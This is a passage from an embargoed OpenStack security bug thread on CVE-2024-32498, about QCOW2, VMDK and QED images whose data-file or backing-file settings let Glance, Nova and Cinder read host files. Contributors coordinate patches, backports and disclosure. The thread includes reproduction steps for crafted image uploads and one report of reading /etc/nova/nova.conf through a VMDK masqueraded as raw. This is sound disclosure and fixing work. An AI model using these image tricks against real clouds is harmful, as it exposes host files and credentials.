That said, it's also typical for most general GNU/Linux distributions, I think, to push fixed packages to their mirrors some hours ahead of upstream and downstream advisory publication. Distributing fixes in advance is fine with me as long as the window of time between fix availability and advisory publication is short enough (24 hours at most, but ideally more like 3-6?). Publishing commit messages, changelogs, release notes, or other detailed explanations of the issues should be avoided prior to the upstream announcement however.

[Jeremy Stanley (fungi)]

As there were no objections to delaying disclosure, I have sent an update to all downstream stakeholders of the rescheduled disclosure date and time, as well as indicating that I'll forward them updated patches no later than Thursday of this week.

[Dan Smith (danms)]

Adding a unified cinder patch for master that includes fixed versions of Felix's two additional patches. This should be applied on top of the base patch from April. I just fixed pep8 and unit test failures. Haven't run all of functional or tested this in devstack, but hopefully someone from Cinder can pick it up from here.

[Thomas Goirand (thomas-goirand)]

Hi Dan!

Thanks for the additional patches. But could you backport nova-2023.1-2059809-additional.patch further in time? Even on Zed, it doesn't apply cleanly, yet alone on older releases where test_utils.py doesn't even have a _test_create_image function...

[Kurt Garloff (kgarloff)]

@fungi re #178: That makes sense and helps, thanks. (And a few hours is enough, we certainly don't need 24hrs.) Our advisory with details will trail yours to avoid causing any additional risk to anyone.
I will refer providers that want more detail to talk to you to be invited here.

@all, especially @danms: Thanks for your superior work!

[Sylvain Bauza (sylvain-bauza)]

@Zigo : there are indeed merge conflicts when backporting the additional patch for me into Wallaby straight from Antelope.
I'm currently addressing those with the help of Dan, we probably miss some other backports, I'll tell you which ones.

[Sylvain Bauza (sylvain-bauza)]

In order to backport the Nova patches to Wallaby, I needed to also backport those changes :

https://github.com/openstack/nova/commit/4a968c98c160cd86c3de32c7455140b5610e02c1 (merged in Yoga)
https://github.com/openstack/nova/commit/48a6a9cab2e60244343e4981b346c8fc8cf90fa3 (merged in Zed)
https://github.com/openstack/nova/commit/2eeefabde4f5f46e95849efe910027455ba70186 (merged in Antelope)

HTH.

[Brian Rosmaita (brian-rosmaita)]

Adding a patch that combines the cinder fixes for master. It's marked WIP because although it passes unit and functional tests, I'm pretty sure it will break some functionality of the nfs driver (not related to Felix's size change).

[Zack Miele (zmiele)]

@fungi Thanks for the decision to delay and to allow some time for early fix availability, it's definitely appropriate here.

We've also let the QEMU folks know about the extension and have received an acknowledgement that they can delay as well.

[Thomas Goirand (thomas-goirand)]

Hi!

This patch, on top of Felix's one, repairs Cinder 3 broken unit tests. I'm not sure if that's the way the Cinder team would do, but it works for me.

Also, IMO the Cinder team should create some good and bad qcow2 images so that we check the format_inspector. We currently have zero tests for it.

[Dan Smith (danms)]

Just to clarify the glance situation, I'm putting instructions for reproducing the issue here for posterity.

1. Configure glance to support import (with at least glance-direct allowed) by defining the staging and tasks data stores in /etc/glance/glance-api.conf:

[DEFAULT]
enabled_import_methods=["glance-direct"]
[os_glance_staging_store]
filesystem_store_datadir=/opt/stack/data/glance/os_glance_staging_store/
[os_glance_tasks_store]
filesystem_store_datadir=/opt/stack/data/glance/os_glance_tasks_store/

2. Make sure those directories exist on the filesystem (i.e. mkdir them)

3. Configure glance to do image conversion during import in /etc/glance/glance-image-import.conf:

[image_import_opts]
image_import_plugins = ['image_conversion']
[image_conversion]
output_format=raw

4. Restart glance (if you changed the above)

5. Upload an image using import:

$ openstack image create --disk-format qcow2 --container-format bare --import --file test-with-datafile.qcow test-import-df

6. The image should not go to active and you should be able to confirm that the badness was identified by seeing this in the log:

Jun 26 14:58:32 jammy <email address hidden>[332798]: ERROR glance.async_.taskflow_executor RuntimeError: Image has disallowed configuration

7. You can test that trying to masquerade the image as a different type (i.e. call it a vmdk but it's actually a qcow2) is also caught:

$ openstack image create --disk-format vmdk --container-format bare --import --file test-with-datafile.qcow test-import-df-masquerade

the logs should show:

Jun 26 15:10:20 jammy <email address hidden>[334406]: ERROR glance.async_.taskflow_executor RuntimeError: Image format detection failed

And just for completeness, if you don't have the patches installed, this is what the failure looks like when qemu tries to open the bogus data file if glance doesn't prevent it first:

Jun 26 15:11:14 jammy <email address hidden>[334580]: Stderr: "qemu-img: Could not open '/opt/stack/data/glance/os_glance_staging_store/b753c2b4-8d9a-4981-a8df-2ace90f5cf66': Could not open 'abcdefghigh': No such file or directory\n": RuntimeError: Unexpected error while running command.

Note that as mentioned before, this is only triggered with --import as the upload method, and only if glance is configured to use image conversion during import. If you have import enabled (i.e. by default) and don't want it, then just disabling it with an empty list of enabled_import_methods will close this hole without any patches. However, note that glance will still allow regular uploads (i.e. without --import) of bad files since in that scenario it (currently) does no inspection of the image content, so nova and cinder patches are still required.

[Dan Smith (danms)]

Zigo, the format_inspector is grafted straight from glance which has extensive tests for it, including for this new functionality. After this is public I'll be moving all of that to oslo so it will be in one place. There's also a standalone format inspector test utility in the glance repo which you can use to run it outside the service, although I haven't extended that standalone tool to do any of the safety checking yet.

The instructions in the description for creating a bad image are very easy to run and that's what I've been doing thus far. I don't think we need to attach a bad image to this bug as a result.

[Felix Huettner (felix.huettner)]

@brian (#185) and @zigo (#187)

i have combined these two patches and added two more tests for the new functionality.
I also backported them to zed (which worked without further changes).
Unittests seem to run fine on master.
However i had some issues running tests on the other releases (but with and without the patch, so i guess thats something local on my system).

I will try tomorrow to get a full tempest run with all patches applied using the NetAppDriver for cinder and running on unmaintained/zed.

[Dan Smith (danms)]

Heads up for Zigo and any other maintainers of older releases, oslo_utils does not support the "format specific" qemu img data prior to zed with this patch:

https://github.com/openstack/oslo.utils/commit/2180db82b605cf84902ee379fffc0b34e17e92c7

Thus if you're backporting earlier than that, you will need to either snip out the QemuImgInfo format_specfic checks, or get an oslo_utils that has that ^ patch in it.

The format_inspector stuff doesn't rely on anything external, so it will continue to work. Thus you can just snip out the QemuImgInfo.format_specific usages in the patch as the easiest solution if updating oslo_utils is less favorable.

[Brian Rosmaita (brian-rosmaita)]

For cinder, the "missing" format_specific attribute of the oslo imageutils.QemuImgInfo class that Dan mentions in comment #196 was handled by patches around the time of the VMDK issue for versions of oslo.utils < 4.1.0. Just for reference, it's these 2 patches, for example, in train:

https://review.opendev.org/c/openstack/cinder/+/870090
https://review.opendev.org/c/openstack/cinder/+/871631

see in particular lines 137-144 in the second patch:
https://review.opendev.org/c/openstack/cinder/+/871631/1/cinder/image/image_utils.py#137

[Brian Rosmaita (brian-rosmaita)]

I looked at Felix's cinder-2059809-unified-master-v2.txt patch (comment #190); the added tests LGTM.

The reason I marked my patch as WIP is this section of the remotefs driver code:
https://github.com/openstack/cinder/blob/master/cinder/volume/drivers/remotefs.py#L869

With the patch, it looks like the call to image_utils.qemu_img_info() will raise an exception whenever there's a backing file (which is allowed for the qcow2 files that cinder itself creates).

[Thomas Goirand (thomas-goirand)]

Hi Dan Smith (danms).

Regarding your comment at #196, here are my findings.

The oslo.utils patch you are referring is from Feb 18, 2020, and therefore is on all oslo.utils version after Victoria. For Victoria, it was included in the 4.6.1 point release of oslo.utils. So it really needs to be backported only prior Victoria.

FYI, I'm not planning any futher backport than Debian old-stable, which is Victoria. I'll get in touch with the Debian LTS team to see if they want to backport up to Rocky.

When I'm fully done, I'll run functional testing on Victoria too. I spent 2 days repairing my CI that had too many caracal-ism in it, but it's not working and doing a 100% on tempest again. Since I'm only missing Cinder for Victoria and Wallaby, I should soon be able to check for regressions in Victoria. If it passes Victoria, then I'll consider other branches to be ok as well (I don't think I'll have enough time to do functional tempest checks with all branches).

Once I'm done, I'll publish patches for all packages and branch in here, in Salsa.debian.org git, in osbpo.debian.net (unofficial Debian backports for all OpenStack branches that may or may not be in Debian Stable), and on security.debian.org.

At least that's my current plan ... :)

[Thomas Goirand (thomas-goirand)]

Felix, I'd love to integrate your 2 more unit tests, though I'd prefer in a separate patch. Do you have this handy, or should I dig in your unified patch?

[Thomas Goirand (thomas-goirand)]

Here's my patchset for Glance in Victoria. This passed unit and functional tests.

[Felix Huettner (felix.huettner)]

@zigo (#200) i attached the patchfile of the additional tests

@bryan (#198) i agree that if there are indeed backing files being used in cinder natively that this will cause issues.

The only way i can think of fixing this would be by having some kind of allowlist of backing files which are ok?
However then a user uploading a qcow2 could still use a backing file, it would just need to match the allowlist. Probably it could then still be used to read snapshots or so of other users.
Alternatively do we have some way of knowing which qcow2 file should have a backing file? in this case we could skip the check just for these.

[Thomas Goirand (thomas-goirand)]

My bad, there's really a regression when doing glance-direct import. Tempest test:

 tempest.api.image.v2.test_images.ImportImagesTest.test_image_glance_direct_import

is now broken with the above patchset, while everything else working. Can someone help?

[Abhishek Kekane (abhishek-kekane)]

Can you share the stacktrace here and is it failing on master or your victoria patch?

[Thomas Goirand (thomas-goirand)]

Compared to Caracal, it's possible that my patchset for Glance in Victoria was missing this:

+ new_size = os.stat(dest_path).st_size
+ action.set_image_attribute(size=new_size)
+ LOG.info(_LI('Updated image %s size=%i disk_format=%s'),
+ self.image_id, new_size, target_format)

but:
1/ that's still not enough
2/ add this breaks unit tests

I've put the tempest logs over here:
http://shade.infomaniak.ch/test_image_glance_direct_import.txt

If you need the glance logs, let me know, but basically, this in loop:

DEBUG eventlet.wsgi.server [-] (822021) accepted ('192.168.101.2', 42016) server /usr/lib/python3/dist-packages/eventlet/wsgi.py:992
DEBUG glance.api.middleware.version_negotiation [-] Determining version of request: GET /v2/images/9135c6fd-74ca-4cfe-88e7-2e008510128b Accept: application/json process_request /usr/lib/python3/dist-packages/glance/api/middleware/version_negotiation.py:44
DEBUG glance.api.middleware.version_negotiation [-] Using url versioning process_request /usr/lib/python3/dist-packages/glance/api/middleware/version_negotiation.py:57
DEBUG glance.api.middleware.version_negotiation [-] Matched version: v2 process_request /usr/lib/python3/dist-packages/glance/api/middleware/version_negotiation.py:69
DEBUG glance.api.middleware.version_negotiation [-] new path /v2/images/9135c6fd-74ca-4cfe-88e7-2e008510128b process_request /usr/lib/python3/dist-packages/glance/api/middleware/version_negotiation.py:70
INFO eventlet.wsgi.server [req-b5ebf61b-b67f-484d-932f-94fcf53878db e0921b84f30b46d493dfc9585627a289 89156cdfffa7458a9c8e0ba2e17623fe - default default] 192.168.101.133,192.168.101.2 - - [27/Jun/2024 10:55:38] "GET /v2/images/9135c6fd-74ca-4cfe-88e7-2e008510128b HTTP/1.1" 200 928 0.026395
DEBUG eventlet.wsgi.server [-] (822021) accepted ('192.168.101.2', 42024) server /usr/lib/python3/dist-packages/eventlet/wsgi.py:992
...

[Felix Huettner (felix.huettner)]

I just ran a full tempest run with an environment based on zed and the following patches applied:

* cinder with "cinder-2059809-unified-unmaintained-zed-v2.txt"
* glance with "Glance unified patch for 2023.1" backported to zed without modifications
* nova with "Nova unified patch for 2023.1" and "nova-2023.1-2059809-additional.patch" backported to zed without modifications

Relevant drivers where:
* cinder backup: cinder.backup.drivers.nfs.NFSBackupDriver
* cinder volume: cinder.volume.drivers.netapp.common.NetAppDriver
* glance: s3

Tempest for glance, cinder and nova looks good without any errors introduced by these patches.
Also i could not find any way to exploit this vulnerability anymore.

This combination of patches therefor looks good to me, thanks everyone for all your effort

[Abhishek Kekane (abhishek-kekane)]

Thomas, I think pre-wallaby you should only apply 1st commit from the attached patch which is "Reject qcow files with data-file attributes". Otherwise it will require whole lot changes to be backported.

Also if possible could you provide glance logs?

[Brian Rosmaita (brian-rosmaita)]

@Felix: can you look in the c-vol log for an info level message that says "NetApp driver of family <name> and protocol <protocol> loaded." That will tell us exactly which NetApp driver is used. (Some of them override more of the generic nfs driver than others.)

[Felix Huettner (felix.huettner)]

@brian it is

"NetApp driver of family ontap_cluster and protocol nfs loaded."

[Thomas Goirand (thomas-goirand)]

@Abhishek Kekane (abhishek-kekane),

Indeed, that seems to be enough, and not breaking anything anymore, thanks !

So I'm good to go, all tests are passed for me!

[Felix Huettner (felix.huettner)]

I tested a few other image formats from https://qemu-project.gitlab.io/qemu/system/images.html

old qcow (not qcow2) is correctly filtered, as it looks like the format is very similar to qcow2.

However i could reproduce the same issue with the "QED" file format (https://qemu-project.gitlab.io/qemu/system/images.html) and the backing_file in there.
I guess we need to adapt the format_inspector to also handle this.
To create a QED file you can just call qemu-img with "-f qed" and the other parameters just like in qcow2.

The spec is available here https://wiki.qemu.org/Features/QED/Specification

I'll be unavailable until Monday so if someone would pick this up that would be great.

[Dan Smith (danms)]

Felix, I can work on a format inspector module for that, yep.

AFAIK, we're not supposed to support that format anywhere. What service(s) did you test that with to hit the problem? Presumably it's a case where you called it raw, format_inspector determined it was raw (because it didn't recognize it) and then we failed to treat it as raw further down the pipeline. Knowing what/where that is may mean we just need to coerce the format to what we determined it is (i.e. raw) when we called qemu-img on it.

[Dan Smith (danms)]

This is a new unified glance patch which adds QED detection to the format_inspector. Note that it doesn't do anything other than detect it, and the safety check always returns false since we don't support it anywhere. That should avoid us thinking it's a raw file and passing it to qemu-img unsafely.

Note that this patch also includes two new ones that I've had locally but didn't previously include in the glance patch. One is the detect_file_format() routine that nova and cinder are using, which we might as well include in glance now anyway. The other is an update to the glance/tools/test_format_inspector.py standalone test tool. You can use that to show that QED is detected and fails the safety check:

$ python glance/tools/test_format_inspector -f qed -v -i test.qed

Felix, if nova is susceptible to this then I'll work on adding this to the nova patches as well, but if it's only cinder or something we might want to hold off instead of complicating further. Awaiting your reply.

[Dan Smith (danms)]

Nova is vulnerable to QED in one of the two attack vectors, so this is a new unified patch that should catch it.

This (and the forthcoming backports) are unified patches where this new functionality is shoved into the 3/3 patch, which was the same as the additional one. So if it matters, you can just extract the third patch from this set and use it to replace the previous -additional one.

[Brian Rosmaita (brian-rosmaita)]

I have to update the cinder patch; the current one breaks the generic nfs driver (and probably some other drivers that are based on it). I will make my changes basesd on cinder-2059809-unified-master-v2.txt and will add Dan's QED format rejection code to it. I will name this patch as follows:
    cinder-2059809-unified-master-v7.patch
("v7" because at the rate people keep updating patches on this bug, there may already be a v3 by the time i finish typing this sentence)

As soon as that is posted, I will grab a cinder coresec for a review, and once it gets thumbs up, i will post backports.

[Jeremy Stanley (fungi)]

Just a reminder, I did commit to forwarding finalized patches to downstream stakeholders today in preparation for Tuesday's advisory publication. There are approximately 4 hours remaining before UTC midnight, so it would be awesome to have the Cinder patches cross-checked before that time.

Thanks again for all your hard work on this, everyone!

[Dan Smith (danms)]

Updated glance patch to fix two pep8 issues in the later commits

[Brian Rosmaita (brian-rosmaita)]

@Jeremy: I'm going to miss the midnight UTC deadline with the cinder patches. Ran into some complications during revision. I need to take a dinner break, and will hopefully have the remaining code changes and test revisions done a few hours after that.

[Jeremy Stanley (fungi)]

Thanks for the update, Brian. I'll hold off sending patches downstream just yet, but still want to make sure people in APAC at least have copies before they've all knocked off for the weekend.

[Brian Rosmaita (brian-rosmaita)]

Attaching a "unified" patch containing Felix and Dan's changes. Difference from the previous patch is that it allows a qcow2 to have a backing file (this is needed for the generic nfs driver); qcow2's with backing files, however, continue to be unconditionally rejected when downloaded from Glance to create a volume.

[Tobias Urdin (tobias-urdin)]

Thanks to all of you for your hard work, it's very reassuring to the see the collaboration here! Looking forward to a final compilation of patches as it was easier said than done compiling them yourself.

[Jeremy Stanley (fungi)]

Thanks again Brian.

I have the revised downstream stakegolder notifications ready to send as soon as the new Cinder patch from comment #223 is okayed and clean backports (at least as far back as stable/2023.1) are attached to the bug. If there's a Cinder core reviewer awake who can do that, the sooner I get this sent the better.

[Jeremy Stanley (fungi)]

While we're waiting on the final Cinder backports, it would also be good to get clarification from Dan and/or other Glance folks as to whether the patch in comment #220 including the additional QED checks should be backported to replace the earlier Glance patches from comments #136-139.

[Dan Smith (danms)]

Glance is not (that I can see) susceptible to the QED attack once the earlier fixes are applied, so I avoided updating all the glance backports as well. Since glance is the source of truth for format-inspector, I just added the new functionality there for people using it elsewhere (me in nova, brian in cinder).

However, for consistency and to avoid confusion, I'll update the backports as well here shortly.

[Dan Smith (danms)]

I'm adding this for Zigo, but it may help other people. It's a very minimal squashed set of patches to get format_inspector into glance for older versions which would require tons of backports to make clean. It's applied against roughly train timeframe.

I'm adding this as a file not a patch, so use at your discretion (or as a guide). It has not gone through our testing yet, only unit tests. It doesn't bring all the testing for format_inspector (like we're doing for nova and cinder) but does bring the tests that confirms glance uses it properly.

[Eric Harney (eharney)]

As a Cinder core reviewer, Brian's cinder-2059809-unified-master-v7.patch from comment #223 looks good to me.

[Brian Rosmaita (brian-rosmaita)]

Cinder "unified" patch for stable/2024.1

[Brian Rosmaita (brian-rosmaita)]

Cinder "unified" patch for stable/2023.2

[Brian Rosmaita (brian-rosmaita)]

Cinder "unified" patch for stable/2023.1

[Jeremy Stanley (fungi)]

Copies of the revised patches have now been privately supplied to our embargo-notice mailing list as well as the general linux-distros mailing list in preparation for Tuesday's advisory publication.

One last request: Because of the number of commits involved in this advisory I'm estimating 44 Gerrit changes which will need to be listed/linked across the 3 projects and 4 branches involved. I'm going to quietly switch this bug report to public an hour early at 14:00 UTC and I'd appreciate it if the patch owners could start pushing their changes to Gerrit at that time so that I'll be able to capture them all for inclusion in the advisory text in a timely manner.

Thanks again for all your hard work addressing this, it's greatly appreciated!

[Dan Smith (danms)]

For consistency I think we should all plan to push to a gerrit topic of "bug/2059809" which will make finding and linking to all the commits much easier. I've said as much to Brian and Abhi for cinder and glance, but I'm putting it here in case there are any other patches that end up related and/or for people coming here to find them.

[Thomas Goirand (thomas-goirand)]

FYI, the minimal patch for Glance helped me finished the functional testing for Victoria. All good!

I'll publish Debian updates for Nova, Cinder and Glance for all versions from Victoria to Caracal on the day of the disclose. If anyone needs backported patches earlier let me know.

[Felix Huettner (felix.huettner)]

Thanks Dan and Brian for all the patches.

I backported #235, #230 and #217 to zed and tested them with tempest.

There where no failures in these tests with the following setup:
* cinder backup: cinder.backup.drivers.nfs.NFSBackupDriver
* cinder volume: cinder.volume.drivers.netapp.common.NetAppDriver (ontap_cluster, nfs)
* glance: s3

Also i could not reproduce any of the exploits.

Thanks again everyone for all of the work

[Arnaud Morin (arnaud-morin)]

I tested the unified nova patch on bobcat, I am afraid we reintroduced that bug:
CVE-2022-47951 https://bugs.launchpad.net/nova/+bug/1996188

I created a monolithicFlat VMDK image, uploaded it as raw (default behavior when using openstack image create).

Nova compute calls fetch_to_raw,
which is calling do_image_deep_inspection
which is using "raw" inspector,
returning true on safe_check(),
setting force_format="raw"
so qemu img-info will use -f raw
preventing the check_vmdk_image call to be performed

Can someone double check, maybe I did something wrong?

[Dan Smith (danms)]

Well, if you uploaded it as raw, nova treating it as raw from then on is actually what we *should* have been doing all along. So from that perspective, I think that's expected. The problem comes if we later treat it as non-raw, but I think that the later patch in nova should catch that if we do and run its own checks.

Are you just reporting that it gets treated as raw (as described in glance) or that there's an actual issue later with it reading an external file?

[Arnaud Morin (arnaud-morin)]

it's reading an external file (I used /etc/nova/nova.conf) in my sample.

The file is actually not readable by the qemu user (libvirt-qemu on my system) so nova is printing a stack trace in logs:

Could not open '/etc/nova/nova.conf': Permission denied

[Dan Smith (danms)]

Okay, so it's a regression because of the *mechanism* by which the second exploit that was found works. Effectively we lose the type of the base image in the image cache. So the fix to not detect images as different types than their glance metadata says means we will insert a VMDK into the cache as raw, but then later detect it as VMDK and not obsess over the type allow-list that nova has.

That said, here's a patch (confirmed by arnaud) which adds the vmdk_allowed_types check back in if we later interpret it as VMDK. I'll work on tests, but attaching it here as early as possible.

[Jeremy Stanley (fungi)]

I have privately forwarded the last-minute patch from comment #243 as pre-disclosure errata to downstream stakeholders, including the linux-distros mailing list, after checking that it applies cleanly to older branches and trivially adjusting the format to accommodate git am.

[Tobias Urdin (tobias-urdin)]

Thanks! \o/

[Kurt Garloff (kgarloff)]

Testing some of the exploit scenarios, I could no longer trigger the issue. Testing however was done without the latest patch from this morning from @arnaud-morin and I did not dig myself into it deeply enough to come up with own ideas for corner cases. Thanks @arnaud-morin, @felix.huettner for having done so.

Question to @fungi:
* Is the number of the OSSA known, can we have a link to the upcoming advisory?
* Due to the late patches, we are now fighting for every minute -- if this becomes public half an hour later, this would be helpful to have everything prepared ...

[Brian Rosmaita (brian-rosmaita)]

People, please, let's keep focus on this issue (external data file in QCOW2) that is about to go public. It's not helping to pile in other issues that are important, but have not yet been evaluated, and for which we do not have fixes. Let's discuss those on different Launchpad bugs that have different timelines for completion/announcement.

[Jeremy Stanley (fungi)]

Please be aware that the comments added to this bug are already going out by E-mail automatically to more than 50 people, and will all become public at the time we issue our advisory (actually an hour prior so that we have time to get review link comments in and assemble them into the final publication). As it is, the late patch revisions on Friday resulted in requests from some downstream stakeholders to reschedule publication a second time (we really can't due to the two-week disclosure limit imposed by the linux-distros mailing list) because it's going to prevent them from having fixed patches ready to distribute to their users in time. I'm almost certain the last minute patch provided yesterday as pre-disclosure errata will not make it into initial versions of many fixes in distributions.

Any additional novel exploit paths to bypass the current protections really should be opened as separate private bugs at this point, because it will otherwise be quite impossible to provide advance copies to downstream stakeholders in the time we have remaining. We can still choose to treat those new bugs as post-advisory errata for today's publication or as completely separate advisories depending on the scope and relevance.

And thanks once again to everyone for all your help with this exceedingly complex situation.

[Jeremy Stanley (fungi)]

Also in regards to the advisory identifier, I have reserved OSSA-2024-001 for the upcoming publication.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/923248

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/923249

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/923251

[Jeremy Stanley (fungi)]

I've gone ahead and opened this bug a few minutes early so that we have time to collect Gerrit change URLs here prior to the advisory publication at 15:00 UTC (approximately 50 minutes from now). Patch owners, please push your fixes and backports to Gerrit now referencing this bug and using topic:bug/2059809 for ease of coordination. Thanks!

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923255

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923259

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923256

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923260

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923258

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923262

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923266

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923267

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923269

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923273

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923274

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/nova/+/923276

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/glance/+/923277

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/glance/+/923278

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/glance/+/923280

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923284

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923285

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/nova/+/923287

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923288

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923289

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/nova/+/923291

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/nova/+/923297

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/nova/+/923298

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/nova/+/923300

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/ossa/+/923301

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/glance/+/923304

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/glance/+/923305

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/glance/+/923307

[Jeremy Stanley (fungi)]

OSSA-2024-001 has been distributed to the usual public mailing lists (openstack-announce, openstack-discuss, oss-security).

Publication to the https://security.openstack.org/ site is pending CI/CD job completion, but is slow due in part to the resources consumed by all the project changes associated with the advisory.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: unmaintained/zed
Review: https://review.opendev.org/c/openstack/cinder/+/923314

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/ossa/+/923301
Committed: https://opendev.org/openstack/ossa/commit/eaf70c7fc6530956e5f5060851866963637417a0
Submitter: "Zuul (22348)"
Branch: master

commit eaf70c7fc6530956e5f5060851866963637417a0
Author: Jeremy Stanley <email address hidden>
Date: Wed May 1 20:03:43 2024 +0000

    Add OSSA-2024-001 (CVE-2024-32498)

    Change-Id: Ie72ae3022020aaee9bf8c51795afbc6955d91888
    Closes-Bug: #2059809

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923317

[OpenStack Infra (hudson-openstack)]

Change abandoned by "sean mooney <email address hidden>" on branch: master
Review: https://review.opendev.org/c/openstack/nova/+/923317
Reason: this is now in patch 2

[Brian Rosmaita (brian-rosmaita)]

My cinder patch caused a regression that affected cloning encrypted volumes. I have updated the patch and left a comment explaining the error on the gerrit review for master:

https://review.opendev.org/c/openstack/cinder/+/923244/3#message-c3ed4868327690ea806ab7dff33de0a4f7ec5a3e

I had to move some code around and handle the way cinder calls the format_inspector differently. Since it's kind of a big difference, I'm waiting until the code is reviewed before posting the new patch and updating the stable branch patches. I'm anticipating that I will be able to get the updates done tomorrow.

[Rajat Dhasmana (whoami-rajat)]

The changes Brian proposed to the master patch made the encryption test pass so I have made similar changes to the stable branches.
Once Zuul passes, I will add my vote to all the branches.

[Jeremy Stanley (fungi)]

For those following along with the qemu-img mitigation side of this work, https://bugzilla.redhat.com/show_bug.cgi?id=2278875 was also made public yesterday. It looks like RHEL 9 has fixed qemu-kvm-8.2.0-11.el9_4.4 packages available already, while Fedora, Debian and Ubuntu are still triaging (I didn't check other distros). Once fixes for that are available for your chosen platform, updating will provide some additional defense-in-depth protection beyond the solutions we've implemented in OpenStack services.

[Brian Rosmaita (brian-rosmaita)]

As mentioned in comment #292 above, the "v7" patches caused a regression in cloning encrypted volumes.

I am deleting those patches from this LP Bug so that there's no confusion.

If you want a cinder patch that addresses CVE-2024-32498, here's where you can find it:

- master: https://review.opendev.org/c/openstack/cinder/+/923244
- stable/2024.1 (Caracal): https://review.opendev.org/c/openstack/cinder/+/923245
- stable/2023.2 (Bobcat): https://review.opendev.org/c/openstack/cinder/+/923246
- stable/2023.1 (Antelope: https://review.opendev.org/c/openstack/cinder/+/923247

[Jeremy Stanley (fungi)]

Please note that the changes linked by Brian in comment #295 are also the same ones linked in the official OpenStack Security Advisory we published yesterday, but as those changes are not yet merged they have undergone a revision. I'll try to include a reminder about that along with some other notes in an upcoming errata publication for OSSA-2024-001 later this month.

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923255
Committed: https://opendev.org/openstack/nova/commit/ec9c55cbbc91d1f31e42ced289a7c82cf79dc2a2
Submitter: "Zuul (22348)"
Branch: master

commit ec9c55cbbc91d1f31e42ced289a7c82cf79dc2a2
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 07:32:11 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: Ic3fa16f55acc38cf6c1a4ac1dce4487225e66d04
    Closes-Bug: #2059809

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923256
Committed: https://opendev.org/openstack/nova/commit/9cdce715945619fc851ab3f43c97fab4bae4e35a
Submitter: "Zuul (22348)"
Branch: master

commit 9cdce715945619fc851ab3f43c97fab4bae4e35a
Author: Dan Smith <email address hidden>
Date: Wed Apr 17 07:06:13 2024 -0700

    Check images with format_inspector for safety

    It has been asserted that we should not be calling qemu-img info
    on untrusted files. That means we need to know if they have a
    backing_file, data_file or other unsafe configuration *before* we use
    qemu-img to probe or convert them.

    This grafts glance's format_inspector module into nova/images so we
    can use it to check the file early for safety. The expectation is that
    this will be moved to oslo.utils (or something) later and thus we will
    just delete the file from nova and change our import when that happens.

    NOTE: This includes whitespace changes from the glance version of
    format_inspector.py because of autopep8 demands.

    Change-Id: Iaefbe41b4c4bf0cf95d8f621653fdf65062aaa59
    Closes-Bug: #2059809

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/cinder/+/923244
